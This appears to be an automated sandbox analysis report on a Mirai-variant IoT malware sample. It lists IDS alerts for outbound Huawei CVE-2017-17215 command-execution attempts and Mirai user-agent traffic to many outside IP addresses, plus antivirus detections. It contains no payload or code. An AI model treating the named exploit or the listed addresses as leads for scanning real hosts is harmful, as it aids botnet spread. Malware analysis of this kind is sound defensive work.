2024-10-29T20:52:46.701160+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41278	197.75.251.41	37215	TCP
2024-10-29T20:52:46.708517+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43566	197.61.144.176	37215	TCP
2024-10-29T20:52:46.807631+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37806	197.84.161.177	37215	TCP
2024-10-29T20:52:46.809059+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34384	197.63.101.72	37215	TCP
2024-10-29T20:52:46.826982+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55080	197.5.132.46	37215	TCP
2024-10-29T20:52:46.828596+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38712	197.21.53.53	37215	TCP
2024-10-29T20:52:46.834712+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59260	197.143.247.239	37215	TCP
2024-10-29T20:52:46.838357+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50224	197.61.227.3	37215	TCP
2024-10-29T20:52:46.849203+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54838	197.114.13.166	37215	TCP
2024-10-29T20:52:46.863683+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57752	197.3.51.113	37215	TCP
2024-10-29T20:52:46.873765+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41054	197.1.115.138	37215	TCP
2024-10-29T20:52:46.893398+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60564	197.79.36.199	37215	TCP
2024-10-29T20:52:46.924142+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46886	197.170.191.14	37215	TCP
2024-10-29T20:52:46.936905+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45844	197.149.3.204	37215	TCP
2024-10-29T20:52:46.941862+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37498	197.130.144.64	37215	TCP
2024-10-29T20:52:46.947810+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51160	197.137.219.11	37215	TCP
2024-10-29T20:52:46.954439+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51386	197.200.27.247	37215	TCP
2024-10-29T20:52:47.747915+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43722	197.22.18.13	37215	TCP
2024-10-29T20:52:47.749317+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57220	197.125.166.82	37215	TCP
2024-10-29T20:52:47.876047+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59104	41.142.40.183	37215	TCP
2024-10-29T20:52:47.876910+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36198	197.154.48.66	37215	TCP
2024-10-29T20:52:47.878555+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48156	197.186.244.5	37215	TCP
2024-10-29T20:52:47.892730+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48656	197.74.194.72	37215	TCP
2024-10-29T20:52:47.927868+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34946	197.203.107.151	37215	TCP
2024-10-29T20:52:47.930985+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40220	197.24.63.62	37215	TCP
2024-10-29T20:52:47.940516+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43810	197.244.69.115	37215	TCP
2024-10-29T20:52:47.941552+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56454	197.203.244.146	37215	TCP
2024-10-29T20:52:47.942693+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55790	197.117.170.246	37215	TCP
2024-10-29T20:52:47.948882+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33336	41.181.190.177	37215	TCP
2024-10-29T20:52:47.964045+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45558	197.55.81.16	37215	TCP
2024-10-29T20:52:49.499176+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41118	41.92.16.166	37215	TCP
2024-10-29T20:52:49.680786+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37524	197.27.2.81	37215	TCP
2024-10-29T20:52:49.688876+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51948	197.210.62.153	37215	TCP
2024-10-29T20:52:49.762981+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45436	197.162.232.23	37215	TCP
2024-10-29T20:52:49.794683+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36904	197.174.79.45	37215	TCP
2024-10-29T20:52:49.808121+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58466	197.141.38.251	37215	TCP
2024-10-29T20:52:49.824113+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59574	197.254.241.184	37215	TCP
2024-10-29T20:52:49.825025+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55622	197.40.215.134	37215	TCP
2024-10-29T20:52:49.834734+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58888	197.82.38.233	37215	TCP
2024-10-29T20:52:49.915147+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59384	197.172.55.26	37215	TCP
2024-10-29T20:52:49.926305+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50442	197.90.162.172	37215	TCP
2024-10-29T20:52:49.931699+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59620	197.169.143.192	37215	TCP
2024-10-29T20:52:49.931911+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43644	197.101.145.76	37215	TCP
2024-10-29T20:52:49.950297+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33016	197.20.157.126	37215	TCP
2024-10-29T20:52:49.956764+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40180	197.44.48.43	37215	TCP
2024-10-29T20:52:49.957461+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59926	197.150.216.3	37215	TCP
2024-10-29T20:52:49.957780+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53868	197.179.219.102	37215	TCP
2024-10-29T20:52:49.966946+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44124	197.189.116.196	37215	TCP
2024-10-29T20:52:50.700018+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41764	197.130.131.177	37215	TCP
2024-10-29T20:52:50.720785+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45886	157.83.65.179	37215	TCP
2024-10-29T20:52:52.719696+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44242	41.178.199.67	37215	TCP
2024-10-29T20:52:55.786622+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49634	157.83.163.120	37215	TCP
2024-10-29T20:52:58.816979+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54588	197.208.174.58	37215	TCP
2024-10-29T20:52:58.820695+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54184	197.166.54.236	37215	TCP
2024-10-29T20:52:59.794717+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60432	41.246.205.74	37215	TCP
2024-10-29T20:52:59.814688+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52226	197.158.61.133	37215	TCP
2024-10-29T20:52:59.815509+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35852	197.210.6.143	37215	TCP
2024-10-29T20:52:59.820298+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59918	197.38.38.224	37215	TCP

ETPRO MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:52:39.750807+0100	2839471	1	Web Application Attack	192.168.2.13	45028	95.96.124.119	80	TCP
2024-10-29T20:52:39.808671+0100	2839471	1	Web Application Attack	192.168.2.13	59352	95.101.23.87	80	TCP
2024-10-29T20:52:40.774632+0100	2839471	1	Web Application Attack	192.168.2.13	56590	95.238.40.148	80	TCP
2024-10-29T20:52:41.484230+0100	2839471	1	Web Application Attack	192.168.2.13	57896	95.211.85.186	80	TCP
2024-10-29T20:52:45.914434+0100	2839471	1	Web Application Attack	192.168.2.13	59568	112.249.133.1	80	TCP
2024-10-29T20:52:47.556109+0100	2839471	1	Web Application Attack	192.168.2.13	33366	95.76.201.9	80	TCP
2024-10-29T20:52:47.565225+0100	2839471	1	Web Application Attack	192.168.2.13	44390	95.219.59.109	80	TCP
2024-10-29T20:52:47.567791+0100	2839471	1	Web Application Attack	192.168.2.13	58836	95.47.14.229	80	TCP
2024-10-29T20:52:47.568390+0100	2839471	1	Web Application Attack	192.168.2.13	47846	95.66.73.134	80	TCP
2024-10-29T20:52:47.577404+0100	2839471	1	Web Application Attack	192.168.2.13	55360	95.118.201.113	80	TCP
2024-10-29T20:52:47.613189+0100	2839471	1	Web Application Attack	192.168.2.13	37544	95.13.26.120	80	TCP
2024-10-29T20:52:47.623810+0100	2839471	1	Web Application Attack	192.168.2.13	39586	95.48.73.95	80	TCP
2024-10-29T20:52:47.627785+0100	2839471	1	Web Application Attack	192.168.2.13	46624	95.23.233.114	80	TCP
2024-10-29T20:52:47.647682+0100	2839471	1	Web Application Attack	192.168.2.13	45994	95.186.207.103	80	TCP
2024-10-29T20:52:47.671263+0100	2839471	1	Web Application Attack	192.168.2.13	47968	95.53.92.98	80	TCP
2024-10-29T20:52:47.672690+0100	2839471	1	Web Application Attack	192.168.2.13	49192	95.184.210.191	80	TCP
2024-10-29T20:52:47.692072+0100	2839471	1	Web Application Attack	192.168.2.13	60624	95.243.39.217	80	TCP
2024-10-29T20:52:47.694672+0100	2839471	1	Web Application Attack	192.168.2.13	43068	95.212.159.79	80	TCP
2024-10-29T20:52:47.696815+0100	2839471	1	Web Application Attack	192.168.2.13	36196	95.59.190.183	80	TCP
2024-10-29T20:52:47.737362+0100	2839471	1	Web Application Attack	192.168.2.13	55936	95.136.186.232	80	TCP
2024-10-29T20:52:48.565113+0100	2839471	1	Web Application Attack	192.168.2.13	36986	95.2.21.213	80	TCP
2024-10-29T20:52:48.565417+0100	2839471	1	Web Application Attack	192.168.2.13	53194	95.192.3.156	80	TCP
2024-10-29T20:52:48.569489+0100	2839471	1	Web Application Attack	192.168.2.13	41366	95.127.127.127	80	TCP
2024-10-29T20:52:48.570295+0100	2839471	1	Web Application Attack	192.168.2.13	60300	95.172.75.255	80	TCP
2024-10-29T20:52:48.570514+0100	2839471	1	Web Application Attack	192.168.2.13	57316	95.106.58.190	80	TCP
2024-10-29T20:52:48.571287+0100	2839471	1	Web Application Attack	192.168.2.13	39006	95.126.222.62	80	TCP
2024-10-29T20:52:48.571477+0100	2839471	1	Web Application Attack	192.168.2.13	52208	95.185.127.243	80	TCP
2024-10-29T20:52:48.572125+0100	2839471	1	Web Application Attack	192.168.2.13	33372	95.112.181.195	80	TCP
2024-10-29T20:52:48.572448+0100	2839471	1	Web Application Attack	192.168.2.13	53766	95.233.58.100	80	TCP
2024-10-29T20:52:48.572460+0100	2839471	1	Web Application Attack	192.168.2.13	51972	95.4.208.126	80	TCP
2024-10-29T20:52:48.593945+0100	2839471	1	Web Application Attack	192.168.2.13	34272	95.5.24.82	80	TCP
2024-10-29T20:52:48.594968+0100	2839471	1	Web Application Attack	192.168.2.13	51178	95.183.176.62	80	TCP
2024-10-29T20:52:48.598404+0100	2839471	1	Web Application Attack	192.168.2.13	41538	95.77.220.247	80	TCP
2024-10-29T20:52:48.614978+0100	2839471	1	Web Application Attack	192.168.2.13	50492	95.86.195.249	80	TCP
2024-10-29T20:52:48.620938+0100	2839471	1	Web Application Attack	192.168.2.13	46438	95.155.246.174	80	TCP
2024-10-29T20:52:48.689078+0100	2839471	1	Web Application Attack	192.168.2.13	44074	95.132.107.245	80	TCP
2024-10-29T20:52:48.689106+0100	2839471	1	Web Application Attack	192.168.2.13	56710	95.203.198.136	80	TCP
2024-10-29T20:52:48.700882+0100	2839471	1	Web Application Attack	192.168.2.13	38458	95.253.138.188	80	TCP
2024-10-29T20:52:49.185715+0100	2839471	1	Web Application Attack	192.168.2.13	48348	95.105.197.139	80	TCP
2024-10-29T20:52:49.607530+0100	2839471	1	Web Application Attack	192.168.2.13	56306	88.246.28.47	80	TCP
2024-10-29T20:52:49.608838+0100	2839471	1	Web Application Attack	192.168.2.13	39876	88.116.29.139	80	TCP
2024-10-29T20:52:49.616591+0100	2839471	1	Web Application Attack	192.168.2.13	55982	88.181.26.182	80	TCP
2024-10-29T20:52:49.712031+0100	2839471	1	Web Application Attack	192.168.2.13	42716	88.25.200.113	80	TCP
2024-10-29T20:52:50.604894+0100	2839471	1	Web Application Attack	192.168.2.13	41000	95.113.141.135	80	TCP
2024-10-29T20:52:50.628184+0100	2839471	1	Web Application Attack	192.168.2.13	44870	95.83.180.131	80	TCP
2024-10-29T20:52:50.633735+0100	2839471	1	Web Application Attack	192.168.2.13	46898	88.90.108.220	80	TCP
2024-10-29T20:52:50.681504+0100	2839471	1	Web Application Attack	192.168.2.13	53968	88.11.75.71	80	TCP
2024-10-29T20:52:50.685024+0100	2839471	1	Web Application Attack	192.168.2.13	50276	95.59.25.147	80	TCP
2024-10-29T20:52:50.694372+0100	2839471	1	Web Application Attack	192.168.2.13	55154	95.48.146.171	80	TCP
2024-10-29T20:52:50.733825+0100	2839471	1	Web Application Attack	192.168.2.13	53814	95.73.87.5	80	TCP
2024-10-29T20:52:50.734373+0100	2839471	1	Web Application Attack	192.168.2.13	59840	95.242.171.152	80	TCP
2024-10-29T20:52:50.743816+0100	2839471	1	Web Application Attack	192.168.2.13	54460	88.46.204.142	80	TCP
2024-10-29T20:52:51.869911+0100	2839471	1	Web Application Attack	192.168.2.13	44602	88.236.234.118	80	TCP
2024-10-29T20:52:51.907513+0100	2839471	1	Web Application Attack	192.168.2.13	57404	95.214.120.205	80	TCP
2024-10-29T20:52:52.719443+0100	2839471	1	Web Application Attack	192.168.2.13	57834	88.145.148.7	80	TCP
2024-10-29T20:52:53.237962+0100	2839471	1	Web Application Attack	192.168.2.13	50024	95.250.117.74	80	TCP
2024-10-29T20:52:53.644066+0100	2839471	1	Web Application Attack	192.168.2.13	51800	88.71.160.208	80	TCP
2024-10-29T20:52:53.677210+0100	2839471	1	Web Application Attack	192.168.2.13	52568	112.91.31.112	80	TCP
2024-10-29T20:52:53.678594+0100	2839471	1	Web Application Attack	192.168.2.13	39562	112.82.188.198	80	TCP
2024-10-29T20:52:54.211191+0100	2839471	1	Web Application Attack	192.168.2.13	45900	95.42.250.50	80	TCP
2024-10-29T20:52:56.702708+0100	2839471	1	Web Application Attack	192.168.2.13	49906	88.72.85.90	80	TCP
2024-10-29T20:52:56.703190+0100	2839471	1	Web Application Attack	192.168.2.13	53160	112.205.2.56	80	TCP
2024-10-29T20:52:56.712836+0100	2839471	1	Web Application Attack	192.168.2.13	53312	88.4.46.115	80	TCP
2024-10-29T20:52:56.716834+0100	2839471	1	Web Application Attack	192.168.2.13	38210	112.63.12.253	80	TCP
2024-10-29T20:52:56.719996+0100	2839471	1	Web Application Attack	192.168.2.13	56168	95.175.72.47	80	TCP
2024-10-29T20:52:56.745580+0100	2839471	1	Web Application Attack	192.168.2.13	51574	95.166.102.208	80	TCP
2024-10-29T20:52:57.021715+0100	2839471	1	Web Application Attack	192.168.2.13	35198	88.151.253.50	80	TCP
2024-10-29T20:52:57.972100+0100	2839471	1	Web Application Attack	192.168.2.13	44292	88.218.248.10	80	TCP
2024-10-29T20:52:58.036189+0100	2839471	1	Web Application Attack	192.168.2.13	39894	95.96.88.71	80	TCP
2024-10-29T20:52:59.725025+0100	2839471	1	Web Application Attack	192.168.2.13	42290	88.221.112.20	80	TCP
2024-10-29T20:52:59.748699+0100	2839471	1	Web Application Attack	192.168.2.13	49538	95.197.25.27	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: belks.mips.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: belks.mips.elf

ReversingLabs: Detection: 65%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33180 -> 197.232.133.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42808 -> 197.243.51.19:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59352 -> 95.101.23.87:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:45028 -> 95.96.124.119:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49382 -> 197.231.175.200:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:56590 -> 95.238.40.148:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57896 -> 95.211.85.186:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59568 -> 112.249.133.1:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46116 -> 197.62.222.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34384 -> 197.64.21.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47914 -> 197.139.43.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57752 -> 197.3.51.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33648 -> 197.212.208.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40180 -> 197.176.33.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38712 -> 197.21.53.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58102 -> 197.95.90.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54838 -> 197.114.13.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51354 -> 197.137.202.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57180 -> 197.20.183.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42884 -> 197.247.176.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36660 -> 197.125.60.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41054 -> 197.1.115.138:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37040 -> 197.58.85.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41278 -> 197.75.251.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48404 -> 197.103.124.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43566 -> 197.61.144.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50224 -> 197.61.227.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55080 -> 197.5.132.46:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59260 -> 197.143.247.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34384 -> 197.63.101.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60564 -> 197.79.36.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51160 -> 197.137.219.11:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45844 -> 197.149.3.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37806 -> 197.84.161.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37498 -> 197.130.144.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46886 -> 197.170.191.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51386 -> 197.200.27.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43722 -> 197.22.18.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36198 -> 197.154.48.66:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:43068 -> 95.212.159.79:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:46624 -> 95.23.233.114:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48156 -> 197.186.244.5:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37544 -> 95.13.26.120:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:55360 -> 95.118.201.113:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39586 -> 95.48.73.95:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60624 -> 95.243.39.217:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:45994 -> 95.186.207.103:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:55936 -> 95.136.186.232:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:58836 -> 95.47.14.229:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47968 -> 95.53.92.98:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36196 -> 95.59.190.183:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:33366 -> 95.76.201.9:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49192 -> 95.184.210.191:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57220 -> 197.125.166.82:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47846 -> 95.66.73.134:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59104 -> 41.142.40.183:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44390 -> 95.219.59.109:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48656 -> 197.74.194.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40220 -> 197.24.63.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43810 -> 197.244.69.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55790 -> 197.117.170.246:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34946 -> 197.203.107.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33336 -> 41.181.190.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56454 -> 197.203.244.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45558 -> 197.55.81.16:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60300 -> 95.172.75.255:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53194 -> 95.192.3.156:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36986 -> 95.2.21.213:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51972 -> 95.4.208.126:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41538 -> 95.77.220.247:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57316 -> 95.106.58.190:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:46438 -> 95.155.246.174:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41366 -> 95.127.127.127:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:52208 -> 95.185.127.243:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:50492 -> 95.86.195.249:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38458 -> 95.253.138.188:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51178 -> 95.183.176.62:80
